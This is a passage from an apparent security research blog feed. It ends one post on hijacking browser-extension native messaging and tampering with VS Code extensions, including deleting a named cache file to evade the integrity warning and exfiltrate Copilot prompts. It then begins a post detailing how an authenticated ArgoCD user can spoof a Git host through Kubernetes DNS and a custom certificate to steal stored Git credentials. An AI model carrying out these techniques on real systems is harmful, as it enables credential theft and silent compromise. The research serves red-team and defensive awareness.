&lt;img src=&quot;media&amp;#x2F;lets_spy.png&quot; alt=&quot;Spy&quot; loading=&quot;lazy&quot;&gt;
&lt;p&gt;A demo of the attack can be seen in the video below, and a small tool was created to automate the process. You can find it &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Future-Sight-Group&#x2F;kasper_spy&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;video preload=&quot;none&quot; src=&quot;media&amp;#x2F;kp_demo.mp4&quot; controls&gt;&lt;&#x2F;video&gt;
&lt;p&gt;What&#x27;s really interesting about this attack is that it can be reapplied to &lt;strong&gt;any extension that has a native messaging backend&lt;&#x2F;strong&gt; and that is a lot of extensions, especially security-related ones. The attack requires no admin privileges (HKCU over HKLM), no modification of browser files and even comes with a built-in persistence mechanism (the extension will keep talking to our rogue host as long as it&#x27;s registered). The only drawback is that you are confined to what the original extension allowed. But it&#x27;s a pretty powerful attack vector that is still not widely known or abused, so we thought it was worth sharing.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;the-bonus-backdoor&quot;&gt;The bonus backdoor&lt;&#x2F;h2&gt;
&lt;p&gt;As a bonus we will be also sharing another extension related technique that we found during our research. After abusing the nativeMessaging hijacking, we thought: &lt;strong&gt;what other &quot;extensions&quot; can we abuse?&lt;&#x2F;strong&gt; And that is how we also ended up looking at VS Code extensions.&lt;&#x2F;p&gt;
&lt;p&gt;VS Code extensions are basically just Node.js applications running on the user&#x27;s machine with the same privileges as the user. They&#x27;re most often &lt;a href=&quot;https:&#x2F;&#x2F;control-plane.io&#x2F;posts&#x2F;abusing-vscode-from-malicious-extensions-to-stolen-credentials-part-1&#x2F;&quot;&gt;abused for initial access&lt;&#x2F;a&gt;, but they can also be leveraged for &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;boku7&#x2F;Loki&quot;&gt;post-compromise activities&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;tampering-with-installed-extensions&quot;&gt;Tampering with installed extensions&lt;&#x2F;h3&gt;
&lt;p&gt;We dug through the VS Code extension ecosystem and found that, in contrast to browser extensions, VS Code extensions only check their integrity at install time. If we modify an extension&#x27;s files after installation, it will still be considered valid and loaded by VS Code. So if we find an extension likely to be installed on the target machine, we can simply inject our malicious code and wait for the user to open VS Code.&lt;&#x2F;p&gt;
&lt;p&gt;Well, that is exactly what we did :D. Oh, we are so smart, or so we thought.&lt;&#x2F;p&gt;
&lt;img src=&quot;media&amp;#x2F;modified_warn.png&quot; alt=&quot;Uhoh&quot; loading=&quot;lazy&quot;&gt;
&lt;h3 id=&quot;bypassing-the-integrity-check&quot;&gt;Bypassing the integrity check&lt;&#x2F;h3&gt;
&lt;p&gt;As usual in life, things don&#x27;t work on the first try. We found that VS Code does check the integrity of extension files, but in a very peculiar way: it compares their &lt;strong&gt;last modified timestamps&lt;&#x2F;strong&gt; with the ones stored in a cache file. If the timestamps don&#x27;t match, VS Code considers the extension modified and warns the user, asking them to reload it.&lt;&#x2F;p&gt;
&lt;p&gt;That&#x27;s no fun. Unless the user clicks &quot;Reload&quot;, the malicious code won&#x27;t execute. So we thought: &lt;strong&gt;what if we just delete the cache file after modifying the extension&#x27;s files?&lt;&#x2F;strong&gt; This way, VS Code won&#x27;t find the cache and will create a new one with the current timestamps, treating our modified files as the originals.&lt;&#x2F;p&gt;
&lt;p&gt;And that is exactly what we did :D.&lt;&#x2F;p&gt;
&lt;p&gt;By simply deleting &lt;code&gt;~&#x2F;.config&#x2F;Code&#x2F;CachedProfilesData&#x2F;__default__profile__&#x2F;extensions.user.cache&lt;&#x2F;code&gt; after modifying the extension&#x27;s files, we bypass the integrity check and we can then execute our malicious code without any warning to the user.&lt;&#x2F;p&gt;
&lt;p&gt;A demo of the attack can be seen in the video below with the copilot extension, here we just exfiltrate the user&#x27;s prompts (AI am I right?) but the possibilities are endless since we have full code execution within the extension&#x27;s context.&lt;&#x2F;p&gt;
&lt;video preload=&quot;none&quot; src=&quot;media&amp;#x2F;co_demo.mp4&quot; controls&gt;&lt;&#x2F;video&gt;
&lt;p&gt;With this, we conclude our post on abusing installed extensions for post-compromise. Happy hacking folks o&#x2F;.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Stealing the keys from the octopus: Exfiltrate Git Credentials in Argocd</title>
        <published>2025-09-10T00:00:00+00:00</published>
        <updated>2025-09-10T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://futuresight.club/posts/exfiltrate-git-credentials-argocd/"/>
        <id>https://futuresight.club/posts/exfiltrate-git-credentials-argocd/</id>
        
        <content type="html" xml:base="https://futuresight.club/posts/exfiltrate-git-credentials-argocd/">&lt;h2 id=&quot;intro&quot;&gt;Intro&lt;&#x2F;h2&gt;
&lt;p&gt;Hello world, hello hackers! We&#x27;re Future Sight - your soon-to-be favorite research group. Never heard of us? Don&#x27;t worry, nobody has. This is literally our first drop.&lt;&#x2F;p&gt;
&lt;p&gt;Today, we will make some red teamers happy with a new technique we have discovered that allows an authenticated user in ArgoCD to steal the powerful GitHub credentials, further compromising Git accounts and more. For those folks who like Kubernetes security, you will enjoy even more!! Let&#x27;s dive into the world of ArgoCD, Kubernetes, and Git and use the goddamn octopus against itself!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;motivation&quot;&gt;Motivation&lt;&#x2F;h2&gt;
&lt;p&gt;It&#x27;s the year 2025, and exfiltration of information is a buzz theme in cybersecurity, especially in those poor password managers. We want to contribute to that chaos a little bit and raise awareness among everyone in the cybersecurity field by demonstrating a way to exfiltrate git credentials in ArgoCD and Kubernetes.&lt;&#x2F;p&gt;
&lt;img src=&quot;media&amp;#x2F;motivation.png&quot; alt=&quot;motivation&quot; loading=&quot;lazy&quot;&gt;
&lt;p&gt;Argocd is considered by most to be the best tool in GitOps continuous delivery for Kubernetes, and that&#x27;s why we targeted it. In the &lt;a href=&quot;https:&#x2F;&#x2F;landscape.cncf.io&#x2F;&quot;&gt;CNCF landscape&lt;&#x2F;a&gt;, it&#x27;s in first place in the field of &quot;Continuous Integration &amp;amp; Delivery&quot;.&lt;&#x2F;p&gt;
&lt;p&gt;Argocd might not be alone in this; similar tools with the same features might also allow these types of attacks. So buckle up kids; this is going to be an interesting ride!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wtf-is-kubernetes&quot;&gt;WTF is Kubernetes?&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;em&gt;Note: If you&#x27;re already a black-belt at destroying Kubernetes clusters, accidentally nuking namespaces, and spending hours wondering why your pod refuses to receive traffic (spoiler: it was a missing Service all along)... You can safely skip this section. For the rest of you who have a life, enjoy this introduction!&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Kubernetes is a container orchestration framework that helps to manage containers by taking care of scaling and failover. It facilitates the deployment and management of services using a declarative configuration and an automation approach. From the features that Kubernetes has, below are the ones that give Kubernetes its popularity:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Storage Orchestration&lt;&#x2F;li&gt;
&lt;li&gt;Load Balancing and Service discovering (using its internal DNS)&lt;&#x2F;li&gt;
&lt;li&gt;Self-Healing&lt;&#x2F;li&gt;
&lt;li&gt;Secret and Configuration Management&lt;&#x2F;li&gt;
&lt;li&gt;Scaling&lt;&#x2F;li&gt;
&lt;li&gt;Resources Management&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;basic-concepts-of-kubernetes&quot;&gt;Basic Concepts of Kubernetes&lt;&#x2F;h3&gt;
&lt;p&gt;The largest unit in Kubernetes is a &lt;strong&gt;cluster&lt;&#x2F;strong&gt;, which comprises two primary components. On one side, you have the &lt;strong&gt;control plane&lt;&#x2F;strong&gt; that manages everything in the Kubernetes infrastructure, and on the other side, you have the &lt;strong&gt;node&lt;&#x2F;strong&gt;, which is where &lt;strong&gt;pods&lt;&#x2F;strong&gt;, the smallest unit in Kubernetes, are going to run. The Nodes are typically referred to as &lt;strong&gt;worker nodes&lt;&#x2F;strong&gt;, and the control plane is referred to as the &lt;strong&gt;master node&lt;&#x2F;strong&gt;. A Kubernetes cluster consists of one control plane and one or more worker nodes.&lt;&#x2F;p&gt;
&lt;p&gt;Below is an overview of the infrastructure:&lt;&#x2F;p&gt;
&lt;img src=&quot;media&amp;#x2F;kubernetes.png&quot; alt=&quot;kubernetes&quot; loading=&quot;lazy&quot;&gt;
&lt;p&gt;The control plane is divided into 4 main components:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;kube-apiserver&lt;&#x2F;strong&gt;: The kube-apiserver is the frontend of the control plane; it exposes a REST API through which all other components interact.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;etcd&lt;&#x2F;strong&gt;: etcd is a key-value datastore to store all the cluster data.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;scheduler&lt;&#x2F;strong&gt;: The scheduler assigns nodes to newly created pods. It takes into consideration various factors before choosing one node to deploy the pod.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;The controller manager&lt;&#x2F;strong&gt;: The controller manager is a component consisting of other controllers. Its main purpose is to regulate the state of the system. The goal: to bring the current state closer to the desired state. The desired state is typically defined in the declared configuration under the &#x27;spec&#x27; field.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Each worker node is divided into 3 main components:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;kubelet&lt;&#x2F;strong&gt;: Kubelet is an agent that runs on the Node machine, and its function is to take podspecs from the kubernetes api and ensure the containers defined are deployed.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;kube-proxy&lt;&#x2F;strong&gt;: It&#x27;s a component that manages network traffic to and from Kubernetes Services. It monitors the API server for changes to Service objects and then configures the node&#x27;s network to direct traffic to the corresponding Pods.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;container runtime&lt;&#x2F;strong&gt;: It&#x27;s a fundamental component to deploy and maintain the lifecycle of containers. Kubernetes supports containerd, CRI-O, and any other implementation of the Kubernetes CRI, which is the interface that allows connecting to different container runtimes.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Kubernetes is composed of resources; below are the fundamental ones for this research:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pod&lt;&#x2F;strong&gt;: The smallest unit in Kubernetes, it encapsulates one or more containers that share the same volume and network.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Replicaset&lt;&#x2F;strong&gt;: Ensures a specified number of pod replicas are running at any given time, replacing failed pods if necessary.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Deployment&lt;&#x2F;strong&gt;: Manages the scaling and rollbacks of pods via replicaset.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Service&lt;&#x2F;strong&gt;: A Resource that provides network and discovery for pods. It allows the exposure of pods both internally and externally.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Configmap and Secrets&lt;&#x2F;strong&gt;: Configmaps store non-sensitive data; Secrets store sensitive data; Data can be environment variables or config files.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Namespace&lt;&#x2F;strong&gt;: Logical partition inside the cluster. Used to organize the workloads and restrict resources.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Overview detailing how the resources interact with each other:
&lt;img src=&quot;media&amp;#x2F;kubernetes_resources.png&quot; alt=&quot;kubernetes_resources&quot; loading=&quot;lazy&quot;&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;There are several implementations of the Kubernetes framework, the most notable of which are &lt;strong&gt;k3s, kubeadm, minikube, and microk8s&lt;&#x2F;strong&gt;. In the majority of these frameworks, besides the components we have already presented, there is another service that comes pre-installed, which is &lt;strong&gt;CoreDNS&lt;&#x2F;strong&gt;.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;coredns&quot;&gt;CoreDNS&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;Note: Attention kids this part is very important!&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;CoreDNS&lt;&#x2F;strong&gt; is an authoritative DNS server running in the kube-system namespace, used by Kubernetes clusters to provide service discovery and name resolution. This enables resources, such as pods, to discover other pods by name rather than IP address. When we create a service or a pod, Kubernetes automatically creates an A record for that service and pod in the &lt;a href=&quot;https:&#x2F;&#x2F;kubernetes.io&#x2F;docs&#x2F;concepts&#x2F;services-networking&#x2F;dns-pod-service&#x2F;&quot;&gt;CoreDNS&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The services can be called by other pods:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Outside the same namespace: &lt;code&gt;&amp;lt;service_name&amp;gt;.&amp;lt;namespace&amp;gt;&lt;&#x2F;code&gt;, example: &lt;code&gt;http[:]&#x2F;&#x2F;service1.namespace1&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Inside the same namespace: &lt;code&gt;&amp;lt;service_name&amp;gt;&lt;&#x2F;code&gt;, example: &lt;code&gt;http[:]&#x2F;&#x2F;service1&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Pods typically can be called by &lt;code&gt;&amp;lt;pod-ipv4-address&amp;gt;.&amp;lt;service-name&amp;gt;.&amp;lt;my-namespace&amp;gt;.svc.&amp;lt;cluster-domain.example&amp;gt;&lt;&#x2F;code&gt; however they can have a hostname and subdomain fields too, allowing them to be resolved as:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;my-hostname&amp;gt;.&amp;lt;my-subdomain&amp;gt;.&amp;lt;my-namespace&amp;gt;.svc.cluster.local&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;my-hostname&amp;gt;.&amp;lt;my-service&amp;gt;.&amp;lt;my-namespace&amp;gt;.svc.cluster.local&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;By &lt;strong&gt;default&lt;&#x2F;strong&gt;, when a pod resolves a DNS name, it &lt;strong&gt;first&lt;&#x2F;strong&gt; checks if the Kubernetes DNS has the record; if not, it forwards the request to an external DNS server. Each pod will have a &lt;code&gt;&#x2F;etc&#x2F;resolv.conf&lt;&#x2F;code&gt;, which will be set up by the &lt;strong&gt;kubelet&lt;&#x2F;strong&gt;. If you view the &lt;code&gt;resolv.conf&lt;&#x2F;code&gt; file, you will see that it lists the IP address of &lt;strong&gt;kube-dns&lt;&#x2F;strong&gt; as the nameserver for resolving DNS names.&lt;&#x2F;p&gt;
&lt;img src=&quot;media&amp;#x2F;coredns.png&quot; alt=&quot;coredns&quot; loading=&quot;lazy&quot;&gt;
&lt;p&gt;If you want more insight about how DNS works in Kubernetes the following is a &lt;a href=&quot;https:&#x2F;&#x2F;jpetazzo.github.io&#x2F;2024&#x2F;05&#x2F;12&#x2F;understanding-kubernetes-dns-hostnetwork-dnspolicy-dnsconfigforming&#x2F;&quot;&gt;good article&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;and-wtf-is-argocd&quot;&gt;And WTF is Argocd?&lt;&#x2F;h2&gt;
&lt;p&gt;Now you have and overview of what Kubernetes is, let&#x27;s introduce our new friend, &lt;strong&gt;Argocd&lt;&#x2F;strong&gt;. Argocd is a &lt;strong&gt;GitOps&lt;&#x2F;strong&gt; declarative continuous integration tool for Kubernetes. And you might ask, what the hell is GitOps? GitOps is a set of practices that use Git as a source of truth to manage and deploy applications. Essentially, Argocd will take a Git repo with Kubernetes manifests as input and apply them to the cluster.&lt;&#x2F;p&gt;
&lt;p&gt;Besides the UI and CLI, ArgoCD has three main components:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Repository server&lt;&#x2F;strong&gt;: It&#x27;s an internal component that holds a copy of the repositories configured. It is responsible for retrieving the manifests from the Git repository and generating them.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;API server&lt;&#x2F;strong&gt;: It&#x27;s the only exposed component; it&#x27;s a REST API consumed by the UI and CLI to manage everything in Argocd.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Application Controller&lt;&#x2F;strong&gt;: Finally, the most important component, the Application Controller, is responsible for ensuring that the current state(Kubernetes) is equal to the desired state(Git Repo)&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Overview architecture:
&lt;img src=&quot;media&amp;#x2F;argocd.png&quot; alt=&quot;argocd&quot; loading=&quot;lazy&quot;&gt;
&lt;&#x2F;p&gt;
&lt;h3 id=&quot;features&quot;&gt;Features&lt;&#x2F;h3&gt;
&lt;p&gt;As a service that connects to both Git servers and Kubernetes clusters, Argocd presents us with multiple features to support that:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;User Accounts&lt;&#x2F;strong&gt;: User Accounts provide Argocd with authentication and authorization when using the other features. They can be restricted by using RBAC (Role-Based Access Control) policies. It comes with the default user admin.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Repositories&lt;&#x2F;strong&gt;: Allow us to connect to Git Repositories using multiple types of connections, from SSH keys to GitHub App.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Clusters&lt;&#x2F;strong&gt;: Allow us to connect to Kubernetes clusters. It comes connected by default to the cluster where Argocd is deployed.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Certificates&lt;&#x2F;strong&gt;: Allow developers to add self-signed certificates to connect to internal Git Servers.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Applications&lt;&#x2F;strong&gt;: Applications are the resources that tell Argocd what Git repos to deploy into what Kubernetes clusters.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Projects&lt;&#x2F;strong&gt;: Projects enable developers to specify which namespaces and Kubernetes resources can be deployed. By default, there is a project called Default with no restrictions.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;argocd-known-attacks&quot;&gt;Argocd Known Attacks&lt;&#x2F;h2&gt;
&lt;p&gt;The initial focus of this article was to demonstrate the possible attacks that an authenticated attacker can perform in ArgoCD regarding the permissions of the user they compromise. Most known attacks do the following:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Exploiting the argocd namespace because that&#x27;s where the ArgoCD configurations exist; If an attacker can deploy in that namespace, they can override the argocd configmaps.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Exploiting the default configurations within ArgoCD, such as the Default project or the Default admin user. With permissions to deploy anywhere, an attacker can become a cluster admin and take control of the whole cluster.&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;However, they are kinda lame and well-known, so we don&#x27;t want them here.&lt;&#x2F;p&gt;
&lt;p&gt;There are talks that demonstrate some of these attacks: &lt;a href=&quot;https:&#x2F;&#x2F;youtu.be&#x2F;foH5IGhUQoo?si=EhcIiylTsjoaMsKb&quot;&gt;The Hidden Dangers of Defaults&lt;&#x2F;a&gt; and &lt;a href=&quot;https:&#x2F;&#x2F;youtu.be&#x2F;bRNMI29F2fI?si=-f_fUhA1OKtH52ON&quot;&gt;Attacking Argo CD with Argo CD&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Without access to those resources, an attacker can do little more than attempt to probe for accessible services and identify potential permissions to exploit. This was the reason we started digging deeper to find another way to leverage a session that an attacker had obtained.&lt;&#x2F;p&gt;
&lt;img src=&quot;media&amp;#x2F;known_attacks.png&quot; alt=&quot;known_attacks&quot; loading=&quot;lazy&quot;&gt;
&lt;h2 id=&quot;game-plan&quot;&gt;Game Plan&lt;&#x2F;h2&gt;
&lt;p&gt;In ArgoCD, to retrieve manifests from a Git repository, you can configure a connection that stores the credentials for that repository. When called by an application, we don&#x27;t need to re-enter the same credentials.&lt;&#x2F;p&gt;
&lt;p&gt;However, ArgoCD, for security reasons, hides the credentials once the repository is created, not even allowing the person who created the repository to view the password.&lt;&#x2F;p&gt;
&lt;img src=&quot;media&amp;#x2F;hidden_creds.png&quot; alt=&quot;hidden_creds&quot; loading=&quot;lazy&quot;&gt;
&lt;p&gt;When we saw that, we immediately started to think of ways to leak the credentials, and if you are reading this, it&#x27;s because we found a &lt;strong&gt;way&lt;&#x2F;strong&gt;!&lt;&#x2F;p&gt;
&lt;p&gt;Our first try was to find a way to set up a &lt;strong&gt;proxy&lt;&#x2F;strong&gt; in the repository. However, the proxy configuration is only available at the moment of creation of the repository, so we can&#x27;t use that.&lt;&#x2F;p&gt;
&lt;img src=&quot;media&amp;#x2F;proxy.png&quot; alt=&quot;proxy&quot; loading=&quot;lazy&quot;&gt;
&lt;p&gt;But what if we can create our own proxy and deceive argocd into thinking that it is connecting to a git server when in fact it&#x27;s connecting to an attacker service...&lt;&#x2F;p&gt;
&lt;p&gt;The next thing that came to mind was &lt;strong&gt;Kubernetes DNS&lt;&#x2F;strong&gt;. As explained before, by default, Kubernetes creates DNS records for services and pods. And guess what is the &lt;strong&gt;first place&lt;&#x2F;strong&gt; that a pod is going to resolve a domain? If you guess the Kubernetes DNS, you are right!&lt;&#x2F;p&gt;
&lt;p&gt;What does that mean? Well, for example, if you can create a github.com DNS record pointing to an attacker-controlled service inside Kubernetes, the service receives the connection and does not go to the actual github.com(Well... we will proxy the requests, so in fact the connection goes to the actual github.com domain, but it will go through us first &amp;gt;:D).&lt;&#x2F;p&gt;
&lt;p&gt;To create a DNS record, an attacker has two paths:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;If he has access to the kube-system namespace, he can configure the coredns configmap and set up a malicious configuration, resolving the DNS names to the cluster IP of the service.&lt;&#x2F;li&gt;
&lt;li&gt;If he does not have access to the kube-system namespace, he needs to create a DNS record using a namespace name, service name, and, if needed, a pod hostname and subdomain.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;Note: We will not cover the coredns path because kube-system is a highly critical namespace, and we assume that it would be protected and monitored.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;img src=&quot;media&amp;#x2F;dns.png&quot; alt=&quot;dns&quot; loading=&quot;lazy&quot;&gt;
&lt;p&gt;Okay, assuming the repository server is connected to our malicious service... What about our friend TLS? We need a valid certificate from a trusted CA to actually receive HTTPS connections and look at the content of the HTTP request. Using HTTPS typically stops these attacks, but not this time!&lt;&#x2F;p&gt;
&lt;p&gt;For our convenience, ArgoCD has a feature that allows us to add custom certificates for a domain. This functionality is useful for implementing TLS internally, but an attacker can leverage this to put the certificate used by the service in argocd. Now he can view the HTTP content, as Argocd trusts that certificate.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;what-is-actually-happening&quot;&gt;What is actually happening&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;An attacker compromises an account with certain permissions&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;He looks at the configured repositories and sees that it has a repo setup with credentials, and the domain is github.com for example&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;He proceeds to deploy a malicious service with the name github and namespace com&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;After the service is up and running, if the git server uses HTTPS, he creates a certificate in ArgoCD; if not, he moves to the next step&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Once the repo is called, the repository server, the component in argocd with the task of getting the manifests from the git repo, communicates with our malicious server because it resolves the DNS name first to the service cluster IP instead of the github.com public IP&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;The attacker can now look at the credentials and forward the request to github.com to look at the response and maintain a successful connection from the argocd side&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Attacker lists the available repos with that creds and extracts the source code and secrets if the creds have read-only permission; otherwise, he can perform worse actions, such as injecting a malicious manifest or CI&#x2F;CD into the repo&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Below is an overview of the attack:
&lt;img src=&quot;media&amp;#x2F;attack.png&quot; alt=&quot;attack&quot; loading=&quot;lazy&quot;&gt;
&lt;&#x2F;p&gt;
&lt;h3 id=&quot;requisites-to-perform-this-technique&quot;&gt;Requisites to perform this technique&lt;&#x2F;h3&gt;
&lt;p&gt;It seems like all the stars have aligned... but the attacker still needs some prerequisites in the user account they compromise.&lt;&#x2F;p&gt;
&lt;p&gt;Must have policies:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;certificates: create&lt;&#x2F;li&gt;
&lt;li&gt;applications: create, get(optional)&lt;&#x2F;li&gt;
&lt;li&gt;clusters: get&lt;&#x2F;li&gt;
&lt;li&gt;repositories: get&lt;&#x2F;li&gt;
&lt;li&gt;projects: get&lt;&#x2F;li&gt;
&lt;li&gt;logs: get(optional)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;em&gt;Note: Optional means that is not required for the technique to be sucessful but is a quality of life for the attacker&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Having those policies, an attacker can now take advantage of the little octopus and start exfiltrating git credentials! Let&#x27;s see what we have built for him(the attacker obviously hehe).&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;Future-Sight-Group&#x2F;Argexfil&#x2F;blob&#x2F;master&#x2F;argexfil_verify.py&quot;&gt;Here&lt;&#x2F;a&gt; is a script to verify if a compromise user has permissions.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;argexfil&quot;&gt;Argexfil&lt;&#x2F;h2&gt;
&lt;p&gt;Having put our plan together, we just need to create the service that ArgoCD will connect to, instead of the actual Git service. For that service, we combined the words &#x27;Argocd&#x27; and &#x27;exfiltration&#x27; to create Argexfil.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;types-of-connections&quot;&gt;Types of Connections&lt;&#x2F;h3&gt;
&lt;p&gt;In Argocd, there are four types of connection methods to connect to git repos:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;via &lt;strong&gt;ssh&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;via &lt;strong&gt;http&#x2F;https&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;via &lt;strong&gt;GitHub app&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;via &lt;strong&gt;Google Cloud&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;We will only take into consideration http&#x2F;https and github app connections.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;strong&gt;SSH&lt;&#x2F;strong&gt; connection we can never steal the private key even when we are between the connection, since it only sends the public key and the signature giving proof that argocd has the private key.&lt;&#x2F;p&gt;
&lt;p&gt;The &lt;strong&gt;Google Cloud&lt;&#x2F;strong&gt; connection is already deprecated, and it&#x27;s no longer possible to use it for new customers starting on June 17, 2024, which is already in the past. We focus on the future.&lt;&#x2F;p&gt;
&lt;p&gt;For the &lt;strong&gt;HTTP and HTTPS&lt;&#x2F;strong&gt; connections, we can choose git or helm, but both are pretty easy to get the contents. For HTTP we don&#x27;t need anything, just the DNS resolving to argexfil, and for HTTPS, we need an extra step, which is to put the certificate used in argexfil in the argocd.&lt;&#x2F;p&gt;
&lt;p&gt;For the &lt;strong&gt;GitHub app&lt;&#x2F;strong&gt; connections, it is used only in GitHub and GitHub Enterprise, and it works as follows:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;A developer configures the GitHub app with an app id, installation id and a private key.&lt;&#x2F;li&gt;
&lt;li&gt;It then uses the private key to generate short-lived JWT tokens and exchanges them with api.github.com for an access token&lt;&#x2F;li&gt;
&lt;li&gt;With that access token, it then gets the repo from github.com&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Here we can do two types of attacks, and both simultaneously:&lt;&#x2F;p&gt;
&lt;ul&gt;
